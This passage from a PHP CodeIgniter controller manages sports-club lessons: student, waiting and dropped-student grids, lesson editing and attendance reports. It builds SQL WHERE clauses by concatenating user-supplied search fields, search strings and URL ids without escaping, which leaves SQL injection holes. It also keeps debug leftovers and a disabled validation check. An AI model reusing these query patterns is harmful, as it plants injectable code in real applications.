=> $this->input->post( "sidx", TRUE ), "sort_direction" => $this->input->post( "sord", TRUE ), "page" => $this->input->post( "page", TRUE ), "num_rows" => $this->input->post( "rows", TRUE ), "search" => $this->input->post( "_search", TRUE ), "search_field" => $this->input->post( "searchField", TRUE ), "search_operator" => $this->input->post( "searchOper", TRUE ), "search_str" => $this->input->post( "searchString", TRUE ), "search_field_1" => "msg_to", "search_field_2" => "msg_in_inbox", "user_id" => $this->session->userdata('user_id') */ ); if($req_param['search']=='true' && $req_param['search_field']!='' && $req_param['search_operator']!='' && $req_param['search_str']!='') { if(trim($where)!="") $where .= ' AND '; $where .= $req_param['search_field']; switch($req_param['search_operator']) { case 'cn': $where .=' LIKE \'%'.$req_param['search_str'].'%\' '; break; } } if($where!='') $where.=' AND '; $where.= 'lessons_assistance.id_lesson = \''.$id.'\''; $req_param['where'] = $where; $data->page = $this->input->post( "page", TRUE ); $data->records = count ($this->lessons->get_AssitanceData($req_param,"all")); $data->total = ceil ($data->records / $req_param['num_rows'] ); $records = $this->lessons->get_AssitanceData ($req_param, 'none'); //print("<pre>");print_r($records); $data->rows = $records; echo json_encode ($data ); exit( 0 ); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # Funcion de bรบsqueda de pista # ------------------------------------------------------------------- function calendar($id) { $this->load->model('Redux_auth_model', 'usuario', TRUE); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } //print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>"); //echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true); $calendario = $this->load->view('lessons/calendar_detail', array('lesson' => $id), true); //$extra_meta = link_tag(base_url().'css/dailog.css').link_tag(base_url().'css/calendar.css').link_tag(base_url().'css/dp.css').link_tag(base_url().'css/alert.css').link_tag(base_url().'css/main.css').'<script src="'.base_url().'js/calendar/Common.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/datepicker_lang_US.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.datepicker.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.alert.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.ifrmdailog.js" defer="defer" type="text/javascript"></script> <script src="'.base_url().'js/calendar/wdCalendar_lang_US.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.calendar.js" type="text/javascript"></script>'; $data=array( 'meta' => $this->load->view('meta', array('lib_calendar' => TRUE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array(), true)), true), 'menu' => $this->load->view('menu', '', true), 'footer' => $this->load->view('footer', '', true), 'main_content' => $calendario, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); $this->load->view('main', $data); //print("<pre>");print_r($this->session); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function edit($id = NULL, $start = NULL, $end = NULL, $isallday = NULL, $title = NULL, $dummy = NULL) { $this->load->library('calendario'); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } } else { redirect(site_url(), 'Location'); exit(); } if(isset($id) && !strstr($id, 'time')) $event = $this->calendario->getCalendarByRange($id); //$edicion = $this->load->view('lessons/edit', array('event' => $event), true); $extra_meta = link_tag(base_url().'css/dropdown.css').link_tag(base_url().'css/colorselect.css').link_tag(base_url().'css/dp.css').link_tag(base_url().'css/main.css').'<script src="'.base_url().'js/jquery-1.4.2.js" type="text/javascript"></script><script src="'.base_url().'js/calendar/Common.js" type="text/javascript"></script><script src="'.base_url().'js/calendar/jquery.form.js" type="text/javascript"></script><script src="'.base_url().'js/calendar/jquery.validate.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/datepicker_lang_US.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.datepicker.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.dropdown.js" type="text/javascript"></script> <script src="'.base_url().'js/calendar/jquery.colorselect.js" defer="defer" type="text/javascript"></script>'; $data=array( //'meta' => $this->load->view('meta', array('extra' => $extra_meta), true), //'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true), //'footer' => $this->load->view('footer', '', true), 'meta' => $extra_meta, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); if(isset($event)) $data['event'] = $event; $this->load->view('lessons/edit', $data); } # ------------------------------------------------------------------- # devuelve el listado de usuarios apuntados al curso # ------------------------------------------------------------------- # ------------------------------------------------------------------- function assistants ($id) { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->model('lessons_model', 'lessons', TRUE); $this->load->helper('jqgrid'); $this->load->library('calendario'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } } else { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } $this->session->set_userdata('returnUrl', site_url('lessons/assistants/'.$id)); $colmodel = " {name:'id',index:'lessons_assistants.id', width:1, align:'center',hidden:true}, {name:'user_desc',index:'user_desc', width:13, align:'center'}, {name:'group_desc',index:'users.group_id', width:7, align:'center'}, {name:'user_phone',index:'user_phone', width:5, align:'center'}, {name:'fecha_nacimiento',index:'fecha_nacimiento', width:5, align:'center'}, {name:'signed_desc',index:'sign_date', width:2, align:'center'}, {name:'last_day_payed', index:'lessons_assistants.last_day_payed', width:5, align:'center'}, {name:'quota', index:'lessons_assistants.id', width:3, align:'right'}, {name:'discount', index:'lessons_assistants.discount', width:3, align:'right'}"; $colnames = "'Id', 'Nombre', 'Nivel', 'Telefono', 'Nacimiento', 'Alta', 'Pagado hasta', 'Cuota', 'Desc'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "lessons/jqgrid_list_assistants/".$id, 'title' => 'Listado de alumnos', 'default_orderfield' => 'lessons_assistants.id', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '960', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 960px; height: 600px;">'.jqgrid_creator($para_grid).'</div>'; # Si hay cuota de alta, pinto el boton de pagar el alta $info = $this->calendario->getCalendarByRange($id); if($info->signin == 0) $alta = FALSE; else $alta = TRUE; $extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; $motivos_baja = $this->lessons->getUnsubscriptionReasonsArray(); $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => $extra_meta), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true), 'main_content' => $this->load->view('lessons/list_players', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'alta' => $alta, 'menu_lateral' => NULL, 'id_transaction' => $id, 'motivos_baja'=>$motivos_baja), true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); # Carga de la vista principal $this->load->view('main', $data); } # ------------------------------------------------------------------- # devuelve el listado de usuarios apuntados al curso # ------------------------------------------------------------------- # ------------------------------------------------------------------- function waiting ($id) { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->helper('jqgrid'); $this->load->library('calendario'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } } else { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } $colmodel = " {name:'id',index:'lessons_assistants.id', width:1, align:'center',hidden:true}, {name:'user_desc',index:'user_desc', width:30, align:'center'}, {name:'user_phone',index:'user_phone', width:10, align:'center'}"; $colnames = "'Id', 'Nombre', 'Telefono'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "lessons/jqgrid_list_waiting/".$id, 'title' => 'Listado de alumnos en lista de espera', 'default_orderfield' => 'lessons_assistants.id', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '960', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 960px; height: 600px;">'.jqgrid_creator($para_grid).'</div>'; # Si hay cuota de alta, pinto el boton de pagar el alta $info = $this->calendario->getCalendarByRange($id); if($info->signin == 0) $alta = FALSE; else $alta = TRUE; $extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => $extra_meta), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true), 'main_content' => $this->load->view('lessons/list_waiting', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'alta' => $alta, 'menu_lateral' => NULL, 'id_transaction' => $id), true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); # Carga de la vista principal $this->load->view('main', $data); } # ------------------------------------------------------------------- # devuelve el listado de usuarios apuntados al curso # ------------------------------------------------------------------- # ------------------------------------------------------------------- function erased ($id) { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->model('lessons_model', 'lessons', TRUE); $this->load->helper('jqgrid'); $this->load->library('calendario'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } } else { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } $colmodel = " {name:'id',index:'lessons_assistants.id', width:1, align:'center',hidden:true}, {name:'user_desc',index:'user_desc', width:30, align:'center'}, {name:'user_phone',index:'user_phone', width:10, align:'center'}, {name:'unsubscription_date',index:'unsubscription_date', width:10, align:'center'}, {name:'unsubscription_reason',index:'unsubscription_reason', width:30, align:'center'}"; $colnames = "'Id', 'Nombre', 'Telefono', 'Fecha Baja', 'Motivo Baja'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "lessons/jqgrid_list_erased/".$id, 'title' => 'Listado de alumnos dados de baja', 'default_orderfield' => 'lessons_assistants.id', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '960', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 960px; height: 600px;">'.jqgrid_creator($para_grid).'</div>'; $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true), 'main_content' => $this->load->view('lessons/list_erased', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => NULL, 'id_transaction' => $id), true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); # Carga de la vista principal $this->load->view('main', $data); } # ------------------------------------------------------------------- # devuelve el listado de usuarios apuntados al curso # ------------------------------------------------------------------- # ------------------------------------------------------------------- function waiting_all () { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->helper('jqgrid'); $this->load->library('calendario'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } } else { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } $colmodel = " {name:'id',index:'lessons_assistants.id', width:1, align:'center',hidden:true}, {name:'user_desc',index:'user_desc', width:20, align:'center'}, {name:'user_phone',index:'user_phone', width:10, align:'center'}, {name:'description',index:'lessons.description', width:20, align:'center'}, {name:'sport_desc',index:'zz_sports.description', width:8, align:'center'}, {name:'dia_semana',index:'lessons.weekday', width:8, align:'center'}, {name:'rango_fechas',index:'lessons.start_date', width:20, align:'center'}, {name:'rango_horas',index:'lessons.start_time', width:12, align:'center'}, {name:'plazas',index:'lessons.current_vacancies', width:6, align:'center'}"; $colnames = "'Id', 'Nombre', 'Telefono', 'Curso', 'Deporte', 'Dia', 'Fechas', 'Horario', 'Plazas'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "lessons/jqgrid_list_waiting/0/1", 'title' => 'Listado de alumnos en lista de espera', 'default_orderfield' => 'lessons_assistants.id', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '960', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 960px; height: 600px;">'.jqgrid_creator($para_grid).'</div>'; $extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => $extra_meta), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion_ppal', '', true)), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true), 'main_content' => $this->load->view('lessons/list_waiting_all', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => NULL), true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); # Carga de la vista principal $this->load->view('main', $data); } # ------------------------------------------------------------------- # devuelve el listado de reportes diarios de un curso # ------------------------------------------------------------------- # ------------------------------------------------------------------- function assistance ($id) { $this->load->model('redux_auth_model', 'users', TRUE); $this->load->helper('jqgrid'); $this->load->library('calendario'); if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; # Variable que habilita o no el visualizar informaciรณn de cursos $permiso=$this->config->item('lessons_admin_permission'); if(!$permiso[$profile->group]) { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } } else { $this->session->set_userdata('error_message', 'Acceso a zona no habilitada'); redirect(site_url(), 'Location'); exit(); } $colmodel = " {name:'id',index:'lessons_reports.id', width:1, align:'center',hidden:true}, {name:'fecha_lesson',index:'lessons_assistance.date_lesson', width:10, align:'center'}, {name:'instructor_desc',index:'meta.first_name', width:20, align:'center'}, {name:'done',index:'lessons_assistance.done', width:4, align:'center'}, {name:'observations',index:'lessons_assistance.observations', width:20, align:'center'}, {name:'admin_check',index:'lessons_assistance.admin_check', width:4, align:'center'}, {name:'admin_obs',index:'lessons_assistance.admin_obs', width:20, align:'center'}"; $colnames = "'Id', 'Fecha', 'Profesor', 'Hecho', 'Observaciones', 'Check', 'Obs. Admin'"; #Array de datos para el grid $para_grid = array( 'colmodel' => $colmodel, 'colnames' => $colnames, 'data_url' => "lessons/jqgrid_list_assistance/".$id, 'title' => 'Listado de partes de asistencia', 'default_orderfield' => 'lessons_assistance.date_lesson', 'default_orderway' => 'desc', 'row_numbers' => 'false', 'default_rows' => '20', 'mainwidth' => '960', 'row_list_options' => '10,20,50', ); $grid_code = '<div style="position:relative; width: 960px; height: 600px;">'.jqgrid_creator($para_grid).'</div>'; # Comprobaciones para activar o desactivar botones $lessons_admincheck_permission = $this->config->item('lessons_admincheck_permission'); if($lessons_admincheck_permission[$profile->group]) $admincheck = TRUE; else $admincheck = FALSE; $data=array( 'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true), 'navigation' => $this->load->view('navigation', '', true), 'footer' => $this->load->view('footer', '', true), //'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true), 'main_content' => $this->load->view('lessons/list_assistance', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => NULL, 'admincheck' => $admincheck, 'id_transaction' => $id), true), 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); # Carga de la vista principal $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function detail($id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Reservas_model', 'reservas', TRUE); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } //print_r($this->session); //print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>"); //echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true); if($this->input->post('action') && $this->input->post('action')=="save") { $debug = FALSE; if($debug) { print("<pre>");print_r($_POST);} //exit(); $this->lessons->id = $id; $this->lessons->description = $this->input->post('description'); $this->lessons->active = ($this->input->post('active'))? 1 : 0; $this->lessons->weekday = $this->input->post('weekday'); $this->lessons->start_time = $this->input->post('start_time'); $this->lessons->end_time = $this->input->post('end_time'); $this->lessons->start_date = date($this->config->item('date_db_format'), strtotime($this->input->post('start_date'))); $this->lessons->end_date = date($this->config->item('date_db_format'), strtotime($this->input->post('end_date'))); $this->lessons->id_sport = $this->input->post('id_sport'); $this->lessons->id_court = $this->input->post('id_court'); $this->lessons->signin = $this->input->post('signin'); $this->lessons->price = $this->input->post('price'); $this->lessons->id_instructor = $this->input->post('id_instructor'); $this->lessons->max_vacancies = $this->input->post('max_vacancies'); $this->lessons->monthly_payment_day = $this->input->post('monthly_payment_day'); $this->lessons->level = $this->input->post('level'); $this->lessons->gender = $this->input->post('gender'); $this->lessons->L = $this->input->post('L'); $this->lessons->M = $this->input->post('M'); $this->lessons->X = $this->input->post('X'); $this->lessons->J = $this->input->post('J'); $this->lessons->V = $this->input->post('V'); $this->lessons->S = $this->input->post('S'); $this->lessons->D = $this->input->post('D'); $dias_semana_activos = array(); if($this->lessons->L==1) array_push($dias_semana_activos, 1); if($this->lessons->M==1) array_push($dias_semana_activos, 2); if($this->lessons->X==1) array_push($dias_semana_activos, 3); if($this->lessons->J==1) array_push($dias_semana_activos, 4); if($this->lessons->V==1) array_push($dias_semana_activos, 5); if($this->lessons->S==1) array_push($dias_semana_activos, 6); if($this->lessons->D==1) array_push($dias_semana_activos, 0); if($debug) print_r($dias_semana_activos); /* $maxima_fecha = $this->reservas->get_max_booking_date(); $fecha_actual = $this->lessons->start_date; if($debug) echo 'weekday: '.$this->lessons->weekday."<br>"; if($debug) echo 'fecha actual: '.$fecha_actual."<br>"; if($debug) echo 'dia semana actual: '.date( 'w', strtotime($fecha_actual))."<br>"; while( !in_array(date( 'w', strtotime($fecha_actual)), $dias_semana_activos)) { $fecha_actual = date( $this->config->item('date_db_format'), strtotime($fecha_actual.' +1days')); if($debug) echo 'primera fecha cuyo dรญa de la semana coincide con lo elegido: '.$fecha_actual."<br>"; } if($debug) echo $fecha_actual.'---------------------->'; $fecha_final = $this->lessons->end_date; $hora_inicio = $this->lessons->start_time; $hora_fin = $this->lessons->end_time; $pista = $this->input->post('id_court'); if($debug) echo 'maxima fecha: '.$maxima_fecha.'<br>'; if($debug) print($hora_inicio.$hora_fin.$this->lessons->weekday."<pre>"); $valido = 1; $fecha_problematica = ''; while($fecha_actual <= $maxima_fecha && $fecha_actual <= $fecha_final && $valido == 1) { if($debug) echo 'fecha procesada: '.$fecha_actual."<br>"; $hora_actual = date( $this->config->item('hour_db_format'), strtotime($hora_inicio)); $this->app_common->get_court_availability($pista, $fecha_actual, $id, array('block_past'=>FALSE)); while($hora_actual <= $hora_fin && $valido == 1) { foreach($this->reservas->availability as $disp) { if($debug) echo $disp[0].' - '.$hora_actual.' - '.$disp[1]."<br>"; if($disp[0] == $hora_actual && ($disp[1] == '0' && $disp[3] != 'l' && $disp[2] != $id)) { $valido = 0; $fecha_problematica = $fecha_actual; if($debug) echo '<b>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br></b>'; } } $hora_actual = date( $this->config->item('hour_db_format'), strtotime($hora_actual.' +30minutes')); } if($debug) print_r($this->reservas->availability); $fecha_actual = date( $this->config->item('date_db_format'), strtotime($fecha_actual.' +7days')); } */ if($debug) exit('Resultado:'.$valido); $valido = true; if($valido) { if($this->lessons->updateLessons($id)) $this->session->set_userdata('info_message', 'Informaci&oacute;n del curso actualizada correctamente'); else $this->session->set_userdata('error_message', 'Error en la actualizaci&oacute;n del curso'); } else { $this->session->set_userdata('error_message', 'Error en la actualizaci&oacute;n del curso. Alguna de las reservas necesarias (al menos para el d&iacute;a '.date( $this->config->item('reserve_date_filter_format'), strtotime($fecha_problematica)).') est&aacute; reservada con otro motivo.'); redirect(site_url('lessons/detail/'.$id), 'Location'); exit(); } $this->lessons->signin = $this->input->post('signin'); $this->lessons->monthly = $this->input->post('monthly'); $this->lessons->updateLessonsPricesSimple($id); redirect(site_url('lessons/detail/'.$id), 'Location'); exit(); } $info = $this->calendario->getCalendarByRange($id); //echo '--'.$this->app_common->getPriceValue($info->price); /* if($info->signin == 0) echo 'aa'; else echo 'bb'; print_r($info); */ if($this->input->post('id_sport')!= '' && $info->id_sport != $this->input->post('id_sport')) $info->id_sport = $this->input->post('id_sport'); //Si llega un id_sport por POST y es diferente del guardado quiere decir que hemos cambiado de deporte y hay que darle preferencia. (se filtrarรก las pistas disponibles en base a eso) $profesores = $this->usuario->getActiveUsersArray('', 'users.group_id IN ('.implode( ", ", $this->config->item('lessons_profesor_group')).')'); $deportes = $this->reservas->getSportsArray(); //$pistas = $this->pistas->getAvailableCourtsArray($info->id_sport,''); $pistas = $this->pistas->getAvailableCourtsArray('',''); $niveles = $this->lessons->getLevelsArray(); $generos = $this->lessons->getGendersArray(); $tarifas = $this->app_common->getPrices('array', $this->config->item('lessons_prices_range')); $asistentes = array(); $espera = array(); $enable_add = TRUE; if($info->current_vacancies == 0) $enable_add = FALSE; //print("<pre>".$this->reservas->get_max_booking_date()); //print_r($asistentes); //print_r($info); //print_r($profesores); //print_r($deportes); $div_asistentes = $this->load->view('lessons/detail_assistants', array('info' => $info, 'asistentes' => $asistentes, 'enable_add' => $enable_add), true); $div_lista_espera = $this->load->view('lessons/detail_waiting', array('info' => $info, 'espera' => $espera, 'enable_add' => $enable_add), true); $contenido = $this->load->view('lessons/detail', array('info' => $info, 'tarifas' => $tarifas, 'profesores' => $profesores, 'deportes' => $deportes, 'pistas' => $pistas, 'niveles' => $niveles, 'generos' => $generos, 'asistentes' => $div_asistentes, 'lista_espera' => $div_lista_espera, 'return_url' => $this->session->userdata('returnUrl')), true); $extra_meta = link_tag(base_url().'css/jquery.tooltip.css').'<script src="'.base_url().'js/jquery.tooltip.js" type="text/javascript"></script>'; $extra_meta .= '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n"; $data=array( 'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true), //'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array(), true)), true), 'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in() , 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true), 'menu' => $this->load->view('menu', '', true), 'footer' => $this->load->view('footer', '', true), //'form_name' => 'frmDetail', 'main_content' => $contenido, 'info_message' => $this->session->userdata('info_message'), 'error_message' => $this->session->userdata('error_message') ); $this->session->unset_userdata('info_message'); $this->session->unset_userdata('error_message'); //echo $this->session->userdata('returnUrl'); $this->load->view('main', $data); } # ------------------------------------------------------------------- # ------------------------------------------------------------------- # # ------------------------------------------------------------------- function new_daily_report($id) { $this->load->model('Lessons_model', 'lessons', TRUE); $this->load->library('calendario'); $this->load->model('Redux_auth_model', 'usuario', TRUE); $this->load->model('Pistas_model', 'pistas', TRUE); $this->load->model('Reservas_model', 'reservas', TRUE); # Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no.. if($this->redux_auth->logged_in()) { $profile=$this->redux_auth->profile(); $user_id=$profile->id; $user_group=$profile->group; } else { redirect(site_url(), 'Location'); exit(); } //print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>"); //echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true); $info = $this->calendario->getCalendarByRange($id, 'array'); $info['assistants'] = $this->lessons->get_AssitantsData(array('where' => "lessons_assistants.id_lesson = '".$id."' AND lessons_assistants.status < '7'")); if($this->input->post('action') && $this->input->post('action')=="save") { //print("<pre>");print_r($info);print_r($_POST);//exit(); $datos = array ( 'id_lesson' => $info['id'], 'date_lesson' => $this->input->post('date_lesson'), 'id_instructor' => $this->input->post('id_instructor'), 'done' => $this->input->post('done'), 'observations' => $this->input->post('observations') ); //print("<pre>");print_r($_POST);exit(); //exit($valido); if($this->lessons->addAssistance($datos) && $this->input->post('done')=="1") { foreach($_POST as $code => $value) { if(strstr($code, 'user_')) { $usuario = $value; if($this->input->post('assistant_'.$usuario)) $hecho = 1; else $hecho = 0; if($this->input->post('done')=='') $hecho = 0; // Si la clase no se da.. se sobreescriben los checkbox de usuarios $obs = $this->input->post('obs_'.$usuario); $id_user = ''; $user_desc = ''; $user_phone = ''; foreach($info['assistants'] as $id => $alumno) { if($alumno['id'] == $usuario) { $id_user = $alumno['id_user']; $user_desc = $alumno['user_desc']; $user_phone = $alumno['user_phone']; } } $data = array ( 'id_lesson' => $info['id'], 'date_lesson' => $this->input->post('date_lesson'), 'id_user' => $id_user, 'user_desc' => $user_desc, 'user_phone' => $user_phone, 'asistance' => $hecho, 'observations' => $obs, ); $this->lessons->addAssistanceReport($data); } } $this->session->set_userdata('info_message', 'Informaci&oacute;n del curso actualizada correctamente'); } else { if($this->input->post('done')!="1") $this->session->set_userdata('info_message', 'Informaci&oacute;n del curso actualizada correctamente'); else $this->session->set_userdata('error_message', 'Error en la actualizaci&oacute;n del curso. '); } redirect(site_url('lessons/assistance/'.$info['id']), 'Location'); exit(); } /* # Consultas para extraer la informacion del informe diario $info_tmp = $this->lessons->get_AssitanceData(array('where' => "lessons_assistance.id_lesson = '".$id."'")); print("<pre>");print_r($info_tmp); $info = $info_tmp[0]; $info['assistants'] = $this->lessons->get_AssitantsReport($info['id_lesson'], $info['date_lesson']); # Consultas de la definiciรณn del curso $info = $this->calendario->getCalendarByRange($id, 'array'); $info['assistants'] = $this->lessons->get_AssitantsData(array('where' => "lessons_assistants.id_lesson = '".$info['id']."' AND lessons_assistants.status < '7'")); */ //print("<pre>");print_r($info); $fechas_disponibles = $this->lessons->get_LessonDates($info['id'], 2, 2); $profesores = $this->usuario->getActiveUsersArray('', 'users.group_id=5'); //print("<pre>");print_r($info);//exit(); //print("<pre>");print_r($info);exit(); 